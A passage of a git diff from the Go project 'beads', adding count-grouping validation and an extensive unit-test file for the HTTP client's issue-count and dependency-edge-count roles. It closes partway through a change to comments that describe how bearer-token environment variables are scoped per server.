} + return c.store.unsupportedCapability(op, wire.CapCountScope) +} + +// countGroups is the closed bucketing vocabulary, spelled with the ROLE's +// constants rather than as strings. +// +// It is the client-side twin of internal/httpapi's list of the same name, and +// it is redeclared rather than imported for list_walk.go's reason: +// internal/workapi — where ValidateCountGroup lives — is denied to this package +// by depguard. TestTheCountGroupVocabularyMatchesTheSharedOne pins it against +// that validator from a test file, where the rule does not apply. +var countGroups = []issueops.CountGroup{ + issueops.CountGroupStatus, + issueops.CountGroupPriority, + issueops.CountGroupType, + issueops.CountGroupAssignee, + issueops.CountGroupLabel, +} + +// validateCountGroup answers the role's own dimension refusal before the dial. +// +// An empty or unknown GroupBy is ErrValidation on THIS ROLE at every backend — +// counter.go says so, and a caller that misspelled a dimension and got zero +// buckets back has no way to tell that from a workspace with nothing in it. The +// operation refuses it too, naming the parameter, and that row is not redundant: +// what a server-side refusal cannot do is tell a caller their REQUEST is wrong +// rather than their server, which is validateCountReadyPage's argument exactly. +// +// The EMPTY dimension is refused with the rest and is the sharper half. The +// encoder would omit an empty `group_by`, the server would answer the scalar +// shape with no `groups` member, and a caller that asked for buckets would read +// "no buckets" — a wrong answer wearing the shape of a right one. +func validateCountGroup(group issueops.CountGroup) error { + if slices.Contains(countGroups, group) { + return nil + } + if group == "" { + return fmt.Errorf("%w: a grouped count needs a dimension (one of %v): a caller that wanted a number calls Count", + issueops.ErrValidation, countGroups) + } + return fmt.Errorf("%w: %q is not a count dimension (one of %v)", issueops.ErrValidation, group, countGroups) +} + +// decodeCountGroups reads the buckets off a grouped answer. +// +// PRESENCE IS THE CONTRACT and it is checked rather than trusted. `groups` is +// published as present exactly when the request carried `group_by`, and this +// request always does — so an absent or null member is a server that did not +// bucket. Reading either as an empty map would answer "nothing matched" to a +// question that may have matched thousands, which is the one failure mode a +// bucketed count has that a scalar one does not: every bucket that should have +// been there is simply gone, and the total beside it still looks right. +// +// The map is COPIED rather than handed back, so the answer cannot alias the +// decoded response body, and it is non-nil for the same reason the role promises +// non-nil: a caller ranges over it without checking. +func decodeCountGroups(groups *map[string]int) (map[string]int, error) { + if groups == nil || *groups == nil { + return nil, fmt.Errorf("bd serve answered a grouped count with no `groups` member: " + + "the operation publishes it whenever the request carries group_by, and an absent one cannot be told from a count with no buckets") + } + out := make(map[string]int, len(*groups)) + for key, count := range *groups { + out[key] = count + } + return out, nil +} diff --git a/internal/httpclient/counts_test.go b/internal/httpclient/counts_test.go new file mode 100644 index 000000000..af3c67793 --- /dev/null +++ b/internal/httpclient/counts_test.go @@ -0,0 +1,738 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/counts_test.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "context" + "encoding/json" + "errors" + "fmt" + "net/url" + "reflect" + "slices" + "strings" + "testing" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/internal/httpclient/encode" + "github.com/steveyegge/beads/internal/httpclient/wire" + "github.com/steveyegge/beads/internal/storage" + "github.com/steveyegge/beads/internal/workapi" + "github.com/steveyegge/beads/issueops" +) + +// The two counting roles' own gates: the properties a served run cannot show, +// because a served run answers with the RIGHT number and the failure mode here +// is a number that looks equally right. +// +// Three of them recur and each has its own test below: a cardinality is 64 bits +// wide and must not be read through a float; a bucket map that arrives absent is +// not a bucket map that arrived empty; and an anchor's Missing flag is a +// SENTINEL rather than a zero, which is the only thing separating a typo from +// an issue that genuinely has no edges. + +// countingWire records the request each role dialed and answers with a body the +// test supplied. It answers the READ half of the seam only, which is all either +// role touches. +type countingWire struct { + fakeWire + dialed []wire.Request + body string + err error +} + +func newCountingWire(body string) *countingWire { + w := &countingWire{body: body} + w.preflight = func(context.Context, string) error { return nil } + w.do = func(_ context.Context, req wire.Request, out any) error { + w.dialed = append(w.dialed, req) + if w.err != nil { + return w.err + } + return json.Unmarshal([]byte(w.body), out) + } + return w +} + +func (w *countingWire) query(t *testing.T) url.Values { + t.Helper() + if len(w.dialed) != 1 { + t.Fatalf("dialed %d times, want exactly 1", len(w.dialed)) + } + return w.dialed[0].Query +} + +func countRole(t *testing.T, w *countingWire) issueops.Counter { + t.Helper() + counter, err := New(testTarget(t), w, nil).Counter() + if err != nil { + t.Fatalf("Counter(): %v", err) + } + return counter +} + +func graphCountRole(t *testing.T, w *countingWire) issueops.GraphCounter { + t.Helper() + counter, err := New(testTarget(t), w, nil).GraphCounter() + if err != nil { + t.Fatalf("GraphCounter(): %v", err) + } + return counter +} + +// TestACountIsReadAsSixtyFourBits is the decode convention, on both roles at +// once. +// +// The value is chosen so a float64 round trip is VISIBLE: 2^53+1 is the first +// integer a double cannot represent, and a lossy read answers 2^53 — a number +// near the cardinality, which on a count is worse than an error because nothing +// downstream can tell. The wire says `format: int64` on both members and the +// role's results are int64; this is what holds the client to it. +func TestACountIsReadAsSixtyFourBits(t *testing.T) { + const beyondFloat64 = int64(1)<<53 + 1 + + t.Run("the issue count's total", func(t *testing.T) { + w := newCountingWire(fmt.Sprintf(`{"total":%d}`, beyondFloat64)) + got, err := countRole(t, w).Count(t.Context(), issueops.CountRequest{}) + if err != nil { + t.Fatalf("Count: %v", err) + } + if got.Total != beyondFloat64 { + t.Errorf("Total = %d, want %d", got.Total, beyondFloat64) + } + }) + + t.Run("the grouped total", func(t *testing.T) { + w := newCountingWire(fmt.Sprintf(`{"total":%d,"groups":{"open":3}}`, beyondFloat64)) + got, err := countRole(t, w).CountByGroup(t.Context(), issueops.CountByGroupRequest{ + GroupBy: issueops.CountGroupStatus, + }) + if err != nil { + t.Fatalf("CountByGroup: %v", err) + } + if got.Total != beyondFloat64 { + t.Errorf("Total = %d, want %d", got.Total, beyondFloat64) + } + }) + + t.Run("an anchor's edge count", func(t *testing.T) { + w := newCountingWire(fmt.Sprintf(`{"anchors":[{"id":"bd-1","count":%d,"missing":false}]}`, beyondFloat64)) + got, err := graphCountRole(t, w).CountEdges(t.Context(), issueops.EdgeCountRequest{ + IDs: []string{"bd-1"}, Direction: issueops.EdgeDirectionOut, + }) + if err != nil { + t.Fatalf("CountEdges: %v", err) + } + if got.Anchors[0].Count != beyondFloat64 { + t.Errorf("Count = %d, want %d", got.Anchors[0].Count, beyondFloat64) + } + }) +} + +// TestTheCountsQueryCarriesTheWholePredicate drives the role rather than the +// encoder, which is the difference that matters: the encoder is gated against +// the document, and this is what proves the ROLE hands it the caller's request +// instead of a request of its own. +func TestTheCountsQueryCarriesTheWholePredicate(t *testing.T) { + w := newCountingWire(`{"total":7}`) + if _, err := countRole(t, w).Count(t.Context(), issueops.CountRequest{ + Status: "closed", + IssueType: "bug", + IDFilter: "bd-1,bd-2", + Labels: []string{"alpha"}, + IncludeInfra: true, + }); err != nil { + t.Fatalf("Count: %v", err) + } + + q := w.query(t) + for param, want := range map[string]string{ + "status": "closed", "type": "bug", "id": "bd-1,bd-2", "label": "alpha", "include_infra": "true", + } { + if got := q.Get(param); got != want { + t.Errorf("%s = %q, want %q", param, got, want) + } + } + // A scalar count must not ask for buckets: `groups` would come back, and a + // caller that asked for a number would be paying for a second query. + if q.Has("group_by") { + t.Errorf("a scalar count sent group_by=%q", q.Get("group_by")) + } + if op := w.dialed[0].Op; op != wire.OpCountIssues { + t.Errorf("dialed %q, want %q", op, wire.OpCountIssues) + } + if path := w.dialed[0].Path; path != wire.PathIssuesCount { + t.Errorf("dialed %q, want %q", path, wire.PathIssuesCount) + } +} + +// TestAGroupedCountAsksTheSamePredicateAsTheScalarOne is the identity the role +// is built around, asserted where it can actually break: the two methods must +// send the SAME query but for `group_by`. +// +// A grouped count that narrowed differently would answer buckets over a set the +// caller never asked about, and every bucket in it would look plausible — the +// total beside them would even be self-consistent, because the server computes +// it from the same filter it bucketed. +func TestAGroupedCountAsksTheSamePredicateAsTheScalarOne(t *testing.T) { + predicate := issueops.CountRequest{ + Status: "open", Assignee: "agent-7", Labels: []string{"alpha", "beta"}, + IDFilter: "bd-1,bd-2", NoLabels: true, IncludeInfra: true, + } + + scalar := newCountingWire(`{"total":2}`) + if _, err := countRole(t, scalar).Count(t.Context(), predicate); err != nil { + t.Fatalf("Count: %v", err) + } + grouped := newCountingWire(`{"total":2,"groups":{"open":2}}`) + if _, err := countRole(t, grouped).CountByGroup(t.Context(), issueops.CountByGroupRequest{ + Filter: predicate, GroupBy: issueops.CountGroupStatus, + }); err != nil { + t.Fatalf("CountByGroup: %v", err) + } + + want, got := scalar.query(t), grouped.query(t) + if got.Get("group_by") != string(issueops.CountGroupStatus) { + t.Errorf("group_by = %q, want %q", got.Get("group_by"), issueops.CountGroupStatus) + } + got.Del("group_by") + if got.Encode() != want.Encode() { + t.Errorf("the grouped count asked %q and the scalar one asked %q; the two must ask the same predicate", got.Encode(), want.Encode()) + } +} + +// TestAGroupedCountWithoutBucketsRefusesRatherThanReadingZero is the presence +// rule, and it is the one decode decision on this role that had a plausible +// wrong answer. +// +// `groups` is published as present exactly when the request carried `group_by`, +// and this client always sends it — so an absent member is a server that did not +// bucket. Substituting an empty map would answer "nothing matched" to a question +// that may have matched thousands, with a correct-looking total sitting beside +// it. A present-but-null member is the same fact in a different spelling and is +// refused with it. +func TestAGroupedCountWithoutBucketsRefusesRatherThanReadingZero(t *testing.T) { + for _, tc := range []struct{ name, body string }{ + {"absent", `{"total":9}`}, + {"present but null", `{"total":9,"groups":null}`}, + } { + t.Run(tc.name, func(t *testing.T) { + w := newCountingWire(tc.body) + got, err := countRole(t, w).CountByGroup(t.Context(), issueops.CountByGroupRequest{ + GroupBy: issueops.CountGroupLabel, + }) + if err == nil { + t.Fatalf("CountByGroup answered %+v for a body carrying no buckets", got) + } + if !strings.Contains(err.Error(), "groups") { + t.Errorf("the refusal does not name the member: %v", err) + } + }) + } + + // The other side of the same rule: an EMPTY object is a real answer — the + // predicate matched nothing — and must not be refused with it. + w := newCountingWire(`{"total":0,"groups":{}}`) + got, err := countRole(t, w).CountByGroup(t.Context(), issueops.CountByGroupRequest{GroupBy: issueops.CountGroupLabel}) + if err != nil { + t.Fatalf("an empty bucket set refused: %v", err) + } + if got.Groups == nil || len(got.Groups) != 0 { + t.Errorf("Groups = %v, want an empty non-nil map", got.Groups) + } +} + +// TestAnUnknownCountDimensionRefusesWithoutDialing pins the role's own closed +// vocabulary, and pins that the refusal costs no round trip. +// +// The EMPTY dimension is the sharp one. The encoder omits an empty `group_by`, +// so a client that let it through would dial the SCALAR shape, read a body with +// no `groups`, and — but for the presence rule above — hand a caller who asked +// for buckets an answer that had none. +func TestAnUnknownCountDimensionRefusesWithoutDialing(t *testing.T) { + for _, group := range []issueops.CountGroup{"", "owner", "Status", "label "} { + w := newCountingWire(`{"total":0,"groups":{}}`) + _, err := countRole(t, w).CountByGroup(t.Context(), issueops.CountByGroupRequest{GroupBy: group}) + if !errors.Is(err, issueops.ErrValidation) { + t.Errorf("CountByGroup(%q) error = %v, want ErrValidation", group, err) + } + if len(w.dialed) != 0 { + t.Errorf("CountByGroup(%q) dialed %d times before refusing", group, len(w.dialed)) + } + } +} + +// TestTheCountGroupVocabularyMatchesTheSharedOne pins this package's redeclared +// dimension list in BOTH directions, and the second direction is the one that +// needed an authority outside this file. +// +// internal/workapi is denied to this package by depguard — a client that built +// filters would be answering questions the wire is supposed to answer — so the +// list is redeclared here, and something has to keep the copy honest. It runs +// from a test file, where the rule does not apply, exactly as +// TestDefaultListLimitMatchesTheSharedDefault does for the list default. +// +// The DOCUMENT is what the second direction reads, because it is the only side +// of this that a client can be wrong about without being wrong on its own +// terms. A dimension this package carries and the shared validator refuses is +// caught by asking the validator; a dimension the WIRE publishes and this +// package does not carry is invisible to any check written out of this file's +// own constants — the client would refuse a value the server would have +// answered, on its own authority, and every test in this package would agree +// with it. So the enum comes off internal/httpapi/spec/openapi.v0.yaml, which +// the encoder's own bijection gate already treats as the surface authority, +// and each published value is put back through the shared validator so the +// document and the role vocabulary are held together too. +func TestTheCountGroupVocabularyMatchesTheSharedOne(t *testing.T) { + for _, group := range countGroups { + if _, err := workapi.ValidateCountGroup(group); err != nil { + t.Errorf("this package accepts %q, which the shared validator refuses: %v", group, err) + } + } + + published := publishedCountGroups(t) + if len(published) == 0 { + t.Fatal("the document published no group_by enum; this direction would assert nothing") + } + for _, group := range published { + if err := validateCountGroup(group); err != nil { + t.Errorf("the wire publishes group_by=%q and this package refuses it: %v.\n"+ + "A dimension added upstream must be carried, not turned down on this client's own authority.", group, err) + } + if _, err := workapi.ValidateCountGroup(group); err != nil { + t.Errorf("the wire publishes group_by=%q and the shared validator refuses it: %v", group, err) + } + } + for _, group := range countGroups { + if !slices.Contains(published, group) { + t.Errorf("this package carries %q, which the document does not publish: the server would answer 400 for it", group) + } + } +} + +// publishedCountGroups reads countIssues' `group_by` enum out of the wire +// contract itself, rather than out of a second copy of the five names. +func publishedCountGroups(t *testing.T) []issueops.CountGroup { + t.Helper() + published := publishedParamEnum(t, wire.OpCountIssues, "group_by") + out := make([]issueops.CountGroup, 0, len(published)) + for _, value := range published { + out = append(out, issueops.CountGroup(value)) + } + return out +} + +// TestTheEdgeCountQueryCarriesEveryMember drives the graph count and reads its +// query back. +// +// The direction is the member worth naming: it is REQUIRED and has no default, +// so a client that omitted it would earn a 400 — and a client that defaulted it +// would count the other end of every edge and never say so. +func TestTheEdgeCountQueryCarriesEveryMember(t *testing.T) { + w := newCountingWire(`{"anchors":[{"id":"bd-1","count":2,"missing":false},{"id":"bd-2","count":0,"missing":true}]}`) + if _, err := graphCountRole(t, w).CountEdges(t.Context(), issueops.EdgeCountRequest{ + IDs: []string{"bd-1", "bd-2"}, + Direction: issueops.EdgeDirectionIn, + Types: []issueops.DependencyType{"blocks", "related"}, + Status: "open", + }); err != nil { + t.Fatalf("CountEdges: %v", err) + } + + q := w.query(t) + if got := q["issue_id"]; !reflect.DeepEqual(got, []string{"bd-1", "bd-2"}) { + t.Errorf("issue_id = %v, want the anchors in first-mention order", got) + } + // Repeated, never comma-joined: the operation reads `type` with the + // repeatable decoder and does no splitting, so a comma would travel into a + // type name and match no edge. + if got := q["type"]; !reflect.DeepEqual(got, []string{"blocks", "related"}) { + t.Errorf("type = %v, want two repeated values", got) + } + if got := q.Get("direction"); got != string(issueops.EdgeDirectionIn) { + t.Errorf("direction = %q, want %q", got, issueops.EdgeDirectionIn) + } + if got := q.Get("status"); got != "open" { + t.Errorf("status = %q, want open", got) + } + if op, path := w.dialed[0].Op, w.dialed[0].Path; op != wire.OpCountDependencyEdges || path != wire.PathDependenciesCount { + t.Errorf("dialed %q %q, want %q %q", op, path, wire.OpCountDependencyEdges, wire.PathDependenciesCount) + } +} + +// TestEdgeCountRequestSendsEveryMember is what the graph count has instead of an +// encoder table: a reflective sweep over the request shape. +// +// The three anchored graph reads beside it build their queries inline for the +// same reason this one does — an anchored request is not a predicate — but +// inline building has the encoder's own failure mode, which is SILENCE: a member +// added upstream tomorrow is a member nothing sends, and a count that dropped a +// type filter answers a bigger number that looks exactly like a count. +// +// So the classification is enumerated here and checked against reflection, and +// each entry is driven through the role to prove the wire member it names really +// moves when the member does. +func TestEdgeCountRequestSendsEveryMember(t *testing.T) { + // Every populatable member of the request, with the parameter it becomes + // and a value that changes the query. + sends := map[string]struct { + param string + set func(*issueops.EdgeCountRequest) + }{ + "IDs": {"issue_id", func(r *issueops.EdgeCountRequest) { r.IDs = []string{"bd-1", "bd-9"} }}, + "Direction": {"direction", func(r *issueops.EdgeCountRequest) { r.Direction = issueops.EdgeDirectionOut }}, + "Types": {"type", func(r *issueops.EdgeCountRequest) { r.Types = []issueops.DependencyType{"blocks"} }}, + "Status": {"status", func(r *issueops.EdgeCountRequest) { r.Status = "in_progress" }}, + } + + rt := reflect.TypeOf(issueops.EdgeCountRequest{}) + for i := range rt.NumField() { + name := rt.Field(i).Name + if !rt.Field(i).IsExported() { + continue + } + if _, ok := sends[name]; !ok { + t.Errorf("EdgeCountRequest.%s is populatable and UNCLASSIFIED.\n"+ + "The graph count builds its query inline, so a member nobody sends is a member silently dropped — and a dropped filter on a COUNT is a bigger number with nothing to show for it.", name) + } + } + + for name, entry := range sends { + t.Run(name, func(t *testing.T) { + // The baseline is the smallest request this role accepts, and it + // is the INBOUND direction because `status` is legal only there — + // the one member whose validity depends on another. The direction + // case flips it; every other case leaves it alone. + base := issueops.EdgeCountRequest{IDs: []string{"bd-1"}, Direction: issueops.EdgeDirectionIn} + body := `{"anchors":[{"id":"bd-1","count":0,"missing":false},{"id":"bd-9","count":0,"missing":false}]}` + + before := newCountingWire(body) + if _, err := graphCountRole(t, before).CountEdges(t.Context(), base); err != nil { + t.Fatalf("the baseline refused: %v", err) + } + populated := base + entry.set(&populated) + after := newCountingWire(body) + if _, err := graphCountRole(t, after).CountEdges(t.Context(), populated); err != nil { + t.Fatalf("a populated %s refused: %v", name, err) + } + if reflect.DeepEqual(before.query(t)[entry.param], after.query(t)[entry.param]) { + t.Errorf("a populated %s left %s at %v; the member never reached the wire", + name, entry.param, after.query(t)[entry.param]) + } + }) + } +} + +// TestEdgeCountRefusesMoreAnchorsThanTheWireCarries is L-edgecount-bound's pin, +// both sides of the boundary, plus the fact that the refusal never dials. +// +// IT IS A UNIT PIN AND THAT IS THE WHOLE POINT, not a gap the served tier will +// close later: the refusal is PRE-DIAL BY DESIGN, so a served run would prove +// only that a request this client never sends would also have been refused by +// the server. What has to be true is that the client refuses first and reaches +// no server at all, and a fake wire is the only thing that can witness the +// second half. No conformance case reaches this bound either — the contract +// sets no cap, because the role sets none. +// +// The bound is measured AFTER the collapse, which is the half a naive check +// would get wrong: a caller naming one id a hundred and one times is asking +// about ONE anchor, and refusing it for a size the answer would never have had +// is a refusal about nothing. +func TestEdgeCountRefusesMoreAnchorsThanTheWireCarries(t *testing.T) { + anchors := func(n int) []string { + out := make([]string, 0, n) + for i := range n { + out = append(out, fmt.Sprintf("bd-%04d", i)) + } + return out + } + body := func(ids []string) string { + entries := make([]string, 0, len(ids)) + for _, id := range ids { + entries = append(entries, fmt.Sprintf(`{"id":%q,"count":0,"missing":true}`, id)) + } + return `{"anchors":[` + strings.Join(entries, ",") + `]}` + } + + exactly := anchors(maxEdgeCountAnchors) + w := newCountingWire(body(exactly)) + got, err := graphCountRole(t, w).CountEdges(t.Context(), issueops.EdgeCountRequest{ + IDs: exactly, Direction: issueops.EdgeDirectionOut, + }) + if err != nil { + t.Fatalf("exactly %d anchors refused: %v", maxEdgeCountAnchors, err) + } + if len(got.Anchors) != maxEdgeCountAnchors { + t.Errorf("answered %d anchors, want %d", len(got.Anchors), maxEdgeCountAnchors) + } + + over := newCountingWire(`{"anchors":[]}`) + _, err = graphCountRole(t, over).CountEdges(t.Context(), issueops.EdgeCountRequest{ + IDs: append(anchors(maxEdgeCountAnchors), "bd-over"), Direction: issueops.EdgeDirectionOut, + }) + if !errors.Is(err, encode.ErrRefused) { + t.Fatalf("%d anchors encoded without a refusal: %v", maxEdgeCountAnchors+1, err) + } + var refusal *encode.RefusedError + if !errors.As(err, &refusal) || refusal.Row.ID != "L-edgecount-bound" { + t.Errorf("refusal cites %+v, want ledger row L-edgecount-bound", err) + } + if len(over.dialed) != 0 { + t.Errorf("the refusal dialed %d times; it must never reach the server", len(over.dialed)) + } + + // The collapse comes first: a hundred and one mentions of ONE anchor is one + // anchor, and it serves. + repeated := make([]string, maxEdgeCountAnchors+1) + for i := range repeated { + repeated[i] = "bd-1" + } + collapsed := newCountingWire(`{"anchors":[{"id":"bd-1","count":3,"missing":false}]}`) + result, err := graphCountRole(t, collapsed).CountEdges(t.Context(), issueops.EdgeCountRequest{ + IDs: repeated, Direction: issueops.EdgeDirectionOut, + }) + if err != nil { + t.Fatalf("%d mentions of one anchor refused: %v", len(repeated), err) + } + if len(result.Anchors) != 1 || result.Anchors[0].Count != 3 { + t.Errorf("answered %+v, want one anchor counting 3", result.Anchors) + } + if got := collapsed.query(t)["issue_id"]; !reflect.DeepEqual(got, []string{"bd-1"}) { + t.Errorf("sent issue_id=%v, want the collapsed single anchor", got) + } +} + +// TestAnUnansweredAnchorRefusesRatherThanCountingZero is the Missing sentinel's +// other half. +// +// The operation carries one entry per distinct requested id. A body missing one +// leaves a client two plausible substitutions — count 0, or missing — and those +// are the exact two answers this role exists to tell apart, so it makes neither. +func TestAnUnansweredAnchorRefusesRatherThanCountingZero(t *testing.T) { + w := newCountingWire(`{"anchors":[{"id":"bd-1","count":4,"missing":false}]}`) + _, err := graphCountRole(t, w).CountEdges(t.Context(), issueops.EdgeCountRequest{ + IDs: []string{"bd-1", "bd-2"}, Direction: issueops.EdgeDirectionOut, + }) + if err == nil { + t.Fatal("an answer missing an anchor was accepted") + } + if !strings.Contains(err.Error(), "bd-2") { + t.Errorf("the refusal does not name the unanswered anchor: %v", err) + } +} + +// TestTheMissingSentinelSurvivesTheProjection is the decode convention that +// matters most on this role: Missing is a FACT, and 0 is the common answer. +// +// A projection that read the count and forgot the flag would answer 0/false for +// a typo — indistinguishable from an issue with no edges in that direction, and +// therefore a mistake a caller could not find. +func TestTheMissingSentinelSurvivesTheProjection(t *testing.T) { + w := newCountingWire(`{"anchors":[ + {"id":"bd-present","count":0,"missing":false}, + {"id":"bd-typo","count":0,"missing":true} + ]}`) + got, err := graphCountRole(t, w).CountEdges(t.Context(), issueops.EdgeCountRequest{ + IDs: []string{"bd-present", "bd-typo"}, Direction: issueops.EdgeDirectionOut, + }) + if err != nil { + t.Fatalf("CountEdges: %v", err) + } + want := []issueops.AnchorEdgeCount{ + {ID: "bd-present", Count: 0, Missing: false}, + {ID: "bd-typo", Count: 0, Missing: true}, + } + if !reflect.DeepEqual(got.Anchors, want) { + t.Errorf("anchors = %+v, want %+v", got.Anchors, want) + } +} + +// TestAnEmptyEdgeCountAnswersWithoutDialing pins the two shapes that must not +// reach a server, in the role's own order. +// +// The direction is checked FIRST, so EdgeCountRequest{} is a refusal ABOUT THE +// DIRECTION rather than an empty answer — a caller who forgot it would otherwise +// get a plausible response forever. Only then is an empty anchor list a success +// with no anchors, which the operation itself could not answer: it requires at +// least one `issue_id`. +func TestAnEmptyEdgeCountAnswersWithoutDialing(t *testing.T) { + w := newCountingWire(`{"anchors":[]}`) + if _, err := graphCountRole(t, w).CountEdges(t.Context(), issueops.EdgeCountRequest{}); !errors.Is(err, issueops.ErrValidation) { + t.Errorf("the empty request error = %v, want ErrValidation about the direction", err) + } + + got, err := graphCountRole(t, w).CountEdges(t.Context(), issueops.EdgeCountRequest{Direction: issueops.EdgeDirectionOut}) + if err != nil { + t.Fatalf("an empty anchor list refused: %v", err) + } + if got.Anchors == nil || len(got.Anchors) != 0 { + t.Errorf("Anchors = %+v, want an empty non-nil slice", got.Anchors) + } + if len(w.dialed) != 0 { + t.Errorf("dialed %d times for requests that need no server", len(w.dialed)) + } +} + +// TestNeitherCountingRoleWritesThroughTheCallerRequest pins the snapshot promise +// both roles carry, on the members that would be written through: the count's +// two label slices and the graph count's anchors and types. +// +// Reusing one request for several counts is the ordinary way to hold either +// role, so a normalization that sorted or de-duplicated in place would change +// the caller's next question rather than this one's answer. +func TestNeitherCountingRoleWritesThroughTheCallerRequest(t *testing.T) { + count := issueops.CountRequest{Labels: []string{" beta ", "alpha", "alpha"}, LabelsAny: []string{"gamma", ""}} + before := fmt.Sprint(count.Labels, count.LabelsAny) + w := newCountingWire(`{"total":1}`) + if _, err := countRole(t, w).Count(t.Context(), count); err != nil { + t.Fatalf("Count: %v", err) + } + if after := fmt.Sprint(count.Labels, count.LabelsAny); after != before { + t.Errorf("the caller's label slices became %s, want %s", after, before) + } + + edges := issueops.EdgeCountRequest{ + IDs: []string{"bd-2", "bd-1", "bd-2"}, + Types: []issueops.DependencyType{"related", "blocks"}, + Direction: issueops.EdgeDirectionOut, + } + edgesBefore := fmt.Sprint(edges.IDs, edges.Types) + g := newCountingWire(`{"anchors":[{"id":"bd-2","count":1,"missing":false},{"id":"bd-1","count":0,"missing":false}]}`) + if _, err := graphCountRole(t, g).CountEdges(t.Context(), edges); err != nil { + t.Fatalf("CountEdges: %v", err) + } + if after := fmt.Sprint(edges.IDs, edges.Types); after != edgesBefore { + t.Errorf("the caller's anchors became %s, want %s", after, edgesBefore) + } +} + +// countRoleWithSnapshot is countRole's twin for the S8 (#7199) count-scope +// tests below, which need to pin exactly what the handshake advertises +// (CapCountScope present or absent) rather than accept countRole's bare nil — +// passing a snapshot straight through New is the same idiom +// wave2c_claimnext_test.go uses to pin a capability set without a live +// handshake dial. +func countRoleWithSnapshot(t *testing.T, w *countingWire, snap *apigen.ContextResponse) issueops.Counter { + t.Helper() + counter, err := New(testTarget(t), w, snap).Counter() + if err != nil { + t.Fatalf("Counter(): %v", err) + } + return counter +} + +// TestCountScopeFieldsEncodeOntoTheQuery is S8's client half, the encoding +// side: each of the four count-scope fields (ParentID, NoParent, ExcludeTypes, +// ExcludeStatus — internal/httpapi/routes.go's issues.count.scope) reaches the +// wire once the handshake advertises the token. +// +// ParentID and NoParent are exercised in separate cases rather than together: +// the ROLE (issueops/counter.go) refuses that combination as ErrValidation on +// every backend, this one included, so a case that set both would be testing a +// refusal rather than an encoding. +func TestCountScopeFieldsEncodeOntoTheQuery(t *testing.T) { + served := &apigen.ContextResponse{Capabilities: []string{wire.CapCountScope}} + + for _, tc := range []struct { + name string + req issueops.CountRequest + want url.Values + }{ + {"ParentID", issueops.CountRequest{ParentID: "bd-1"}, url.Values{"parent": {"bd-1"}}}, + {"NoParent", issueops.CountRequest{NoParent: true}, url.Values{"no_parent": {"true"}}}, + {"ExcludeTypes", issueops.CountRequest{ExcludeTypes: []string{"wisp", "gate"}}, url.Values{"exclude_type": {"wisp", "gate"}}}, + {"ExcludeStatus", issueops.CountRequest{ExcludeStatus: []string{"closed", "archived"}}, url.Values{"exclude_status": {"closed", "archived"}}}, + } { + t.Run(tc.name, func(t *testing.T) { + w := newCountingWire(`{"total":3}`) + if _, err := countRoleWithSnapshot(t, w, served).Count(t.Context(), tc.req); err != nil { + t.Fatalf("Count: %v", err) + } + q := w.query(t) + for param, want := range tc.want { + if got := q[param]; !slices.Equal(got, want) { + t.Errorf("query[%q] = %v, want %v (full query: %v)", param, got, want, q) + } + } + }) + } +} + +// TestCountScopeRefusesLocallyWhenTheServerLacksTheCapability is S8's other +// half, the skew side: internal/httpapi/routes.go's CLIENT-SKEW NOTE beside +// CapIssuesCountScope requires that a request setting any of the four scope +// fields refuse BEFORE dialing when the handshake does not advertise +// issues.count.scope — never a round trip for a guaranteed 400, and never a +// silent drop that answers a wider count than asked for. +func TestCountScopeRefusesLocallyWhenTheServerLacksTheCapability(t *testing.T) { + masked := &apigen.ContextResponse{Capabilities: []string{"issues.count"}} + + for _, tc := range []struct { + name string + req issueops.CountRequest + }{ + {"ParentID", issueops.CountRequest{ParentID: "bd-1"}}, + {"NoParent", issueops.CountRequest{NoParent: true}}, + {"ExcludeTypes", issueops.CountRequest{ExcludeTypes: []string{"wisp"}}}, + {"ExcludeStatus", issueops.CountRequest{ExcludeStatus: []string{"closed"}}}, + } { + t.Run(tc.name, func(t *testing.T) { + w := newCountingWire(`{"total":0}`) + _, err := countRoleWithSnapshot(t, w, masked).Count(t.Context(), tc.req) + if err == nil { + t.Fatal("Count returned no error, want a pre-dial capability refusal") + } + var unsup *storage.ErrUnsupported + if !errors.As(err, &unsup) { + t.Fatalf("errors.As to *storage.ErrUnsupported failed for %v", err) + } + if unsup.Capability != wire.CapCountScope { + t.Errorf("Capability = %q, want %q", unsup.Capability, wire.CapCountScope) + } + if unsup.Op != "Counter.Count" { + t.Errorf("Op = %q, want %q", unsup.Op, "Counter.Count") + } + if len(w.dialed) != 0 { + t.Errorf("dialed %d times, want 0: a pre-dial refusal must never reach the wire", len(w.dialed)) + } + }) + + t.Run(tc.name+"/CountByGroup", func(t *testing.T) { + w := newCountingWire(`{"total":0,"groups":{}}`) + counter, err := New(testTarget(t), w, masked).Counter() + if err != nil { + t.Fatalf("Counter(): %v", err) + } + _, err = counter.CountByGroup(t.Context(), issueops.CountByGroupRequest{ + Filter: tc.req, GroupBy: issueops.CountGroupStatus, + }) + if err == nil { + t.Fatal("CountByGroup returned no error, want a pre-dial capability refusal") + } + var unsup *storage.ErrUnsupported + if !errors.As(err, &unsup) { + t.Fatalf("errors.As to *storage.ErrUnsupported failed for %v", err) + } + if unsup.Capability != wire.CapCountScope { + t.Errorf("Capability = %q, want %q", unsup.Capability, wire.CapCountScope) + } + if len(w.dialed) != 0 { + t.Errorf("dialed %d times, want 0", len(w.dialed)) + } + }) + } + + // The converse: a scope-free count against the SAME masked server dials + // normally. The gate guards the four fields, not the operation — a plain + // `bd count` must keep working against a server that predates S8. + t.Run("no scope field set dials normally", func(t *testing.T) { + w := newCountingWire(`{"total":5}`) + if _, err := countRoleWithSnapshot(t, w, masked).Count(t.Context(), issueops.CountRequest{Status: "open"}); err != nil { + t.Fatalf("Count: %v", err) + } + if len(w.dialed) != 1 { + t.Errorf("dialed %d times, want exactly 1", len(w.dialed)) + } + }) +} diff --git a/internal/httpclient/credential.go b/internal/httpclient/credential.go index 644627c7f..7be27ad8f 100644 --- a/internal/httpclient/credential.go +++ b/internal/httpclient/credential.go @@ -27,11 +27,13 @@ import ( type CredentialProvider = wire.CredentialProvider const ( - // TokenEnv carries the bearer token itself, the highest rung. + // TokenEnv carries the bearer token itself, the highest rung, scoped to one + // server: "host[:port]=token" (see scopedEnvValue). // #nosec G101 -- the NAME of an environment variable, not a credential. TokenEnv = "BEADS_HTTP_TOKEN" // TokenCommandEnv names a helper that prints a token, either bare or in the - // kubectl ExecCredential envelope {"token","expirationTimestamp"}. + // kubectl ExecCredential envelope {"token","expirationTimestamp"}, scoped the + // same way: "host[:port]=command". // #nosec G101 -- the 